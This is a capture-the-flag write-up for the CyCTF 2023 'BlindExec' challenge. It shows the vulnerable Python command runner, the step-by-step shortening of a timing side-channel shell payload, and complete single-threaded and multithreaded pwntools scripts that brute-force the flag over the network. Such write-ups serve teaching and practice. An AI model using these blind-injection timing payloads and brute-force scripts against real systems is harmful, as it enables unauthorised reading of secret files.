Contents

CyCTF 2023 - BlindExec Writeup

TL;DR;

This is a challenge I wrote for CyCTF finals 2023. This writeup will show the intended solution for this challenge which can be summarized as “multithreaded sidechannel attack using shell scripting”.

Challenge Details

The challenge gives us three insights at first:

  1. The flag is stored in /flag.txt
  2. The flag format is cyctf{[a-z0-9_]+}
  3. For some reason the flag “cannot be seen”.

Downloading and extracting the challenge we get one python script with the following content:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import os

class BlindExec():
    def __init__(self):
        self.null_fds =  [os.open(os.devnull, os.O_RDWR) for _ in range(3)]
        self.saved_fds = [os.dup(0), os.dup(1), os.dup(2)]

    def __enter__(self):
        os.dup2(self.null_fds[0], 0)
        os.dup2(self.null_fds[1], 1)
        os.dup2(self.null_fds[2], 2)

    def __exit__(self, *_):
        os.dup2(self.saved_fds[0], 0)
        os.dup2(self.saved_fds[1], 1)
        os.dup2(self.saved_fds[2], 2)
        for fd in self.null_fds + self.saved_fds:
            os.close(fd)

def main():
    cmd = input("Enter command to execute: ")
    if len(cmd) > 30:
        print("Your command is too long!")
        exit(1)
    with BlindExec():
        os.system(cmd)
    print("Your command is done!")

if __name__ == "__main__":
    main()

Initial Takeaways

Reading the code provided, deploying an instance and testing a couple of ideas, the following can be deducted:

  1. The challenge allows arbitrary command execution using os.system.
  2. The command must be lower than 31 bytes.
  3. The class BlindExec redirects all file descriptors (stdin, stdout and stderr) to /dev/null.
  4. Out of bound connections appeared to be disabled (exfiltration through http, dns, etc… is not possible).
  5. No restriction on writing to the /tmp/ directory (this is an unintended solution -won’t be covered in this writeup- I overlooked and that was used to solve the challenge during the ctf. Brief explanation: Bypass the length restriction by writing a file a couple of bytes at a time to /tmp/ then executing it).

Idea and Setup

First idea that comes to mind while solving challenges blindly is sidechannel attacks to exfiltrate the flag one character at a time.

I created the file flag.txt with the content "cyctf{fake_flag}" and applied the following patch to be able to test payloads freely:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
--- challenge.py	2023-11-21 00:39:16
+++ challenge.py	2023-11-21 19:06:31
@@ -19,11 +19,11 @@
 
 def main():
     cmd = input("Enter command to execute: ")
-    if len(cmd) > 30:
-        print("Your command is too long!")
-        exit(1)
-    with BlindExec():
-        os.system(cmd)
+    # if len(cmd) > 30:
+    #     print("Your command is too long!")
+    #     exit(1)
+    # with BlindExec():
+    os.system(cmd)
     print("Your command is done!")
 
 if __name__ == "__main__":

Payload Buildup

After a quick search this is the first payload (45 bytes) that can be used to verify this logic:

1
[[ $(head -c1 /flag.txt) == "c" ]] && sleep 9

Running this payload in bash directly, it executes as intended and the sleep command is executed. However when passing this payload to the challenge, it shows an error:

This shows that os.system runs the command under sh not bash so to get over this little hurdle [ condition ] can be used instead which also results in an error:

After some poking around it turns out that the operator == is undefined in sh and the operator = is used instead. So a working payload for the challenge is now:

1
[ $(head -c1 /flag.txt) = "c" ] && sleep 9

Shortening

This payload is now 42 bytes which is more than the required length by 12 bytes. To do this we will be revisiting some of our choices starting with the command substitution operator $(...) which can be replaced with `...`.

1
[ `head -c1 /flag.txt` = "c" ] && sleep 9 # 41 bytes

Next up was to revisit all white spaces to check which are necessary and which are not.

1
[ `head -c1 /flag.txt` = "c" ]&&sleep 9 # 39 bytes

To my surprise you can discard the double quotes when comparing strings and it still works.

1
[ `head -c1 /flag.txt` = c ]&&sleep 9 # 37 bytes

There might be a shorter command that can be used other than head. A tricky one was cut, it normally outputs the nth byte from each line but given that the flag is only one line, we can use it.

1
[ `cut -c1 /flag.txt` = c ]&&sleep 9 # 36 bytes

And finally the wildcard can hop to the rescue. As there are normally no files in / and the only file there is /flag.txt, this will work disregarding a couple of non-harmful errors.

1
[ `cut -c1 /*` != c ]&&sleep 9 # 29 bytes

Exploit Script

Now that we have a working payload, a script for automating the exfilteration is needed. This can be done using one of two approaches:

  • A single thread script: easier to implement but very slow.
  • A multithreaded script: a bit harder to implement but much faster.

Single Thread Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pwn
import string
import sys

def check(io, idx, c):
    payload = f'[ `cut -c{idx} /*` = {c} ]&&sleep 9'
    io.sendlineafter(b"Enter command to execute: ", payload.encode())
    output = io.recvuntil(b"Your command is done!", timeout=1)
    if b"Your command is done!" in output:
        return False
    return True

def main(sni):
    flag = ""
    i = 1
    logging = pwn.log.progress('Flag')
    while not flag.endswith("}"):
        for c in string.ascii_lowercase + string.digits + "}{_":
            io = pwn.remote(sni, 443, ssl=True, sni=sni, level="error")
            logging.status(flag + c)
            if check(io, i, c):
                flag += c
                break
            io.close()
        i += 1
    logging.success(flag)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage:")
        print(f"\t{sys.argv[0]} SNI")
        exit(0)
    main(sys.argv[1])

Multithreaded Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import pwn
import string
import sys
import time
from threading import Thread

bruteforce_pool = string.ascii_lowercase + string.digits + "}{_"
keys = {}
for c in bruteforce_pool:
    keys[c] = 0

def check(sni, idx, c):
    global keys
    io = pwn.remote(sni, 443, ssl=True, sni=sni, level="error")
    payload = f'[ `cut -c{idx} /*` = {c} ]&&sleep 9'
    io.sendlineafter(b"Enter command to execute: ", payload.encode())
    output = io.recvuntil(b"Your command is done!", timeout=1)
    if b"Your command is done!" not in output:
        keys[c] = 1
    io.close()

def main(sni):
    global keys
    flag = ""
    logging = pwn.log.progress('Flag')
    while not flag.endswith("}"):
        # run simultaneous connections for each possible character
        threads = list()
        for c in bruteforce_pool:
            t = Thread(target=check, args=(sni, len(flag) + 1, c))
            t.start()
            threads.append(t)
        for t in threads:
            t.join()

        # check for false positives or no output
        counter = 0
        for i in keys:
            if keys[i]: 
                counter += 1
        if counter != 1:
            for i in keys: keys[i] = 0
            time.sleep(1)
            continue
        
        # get correct value
        for k in keys:
            if keys[k]:
                flag += k
                logging.status(flag)
                keys[k] = 0
                break
    logging.success(flag)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage:")
        print(f"\t{sys.argv[0]} SNI")
        exit(0)
    main(sys.argv[1])

Flag

And finally running the exploit script gets the flag: cyctf{u_kn0w_h0w_2_s1d3ch4nn3l_1n_5h}

Here’s a quick benchmark for the two scripts: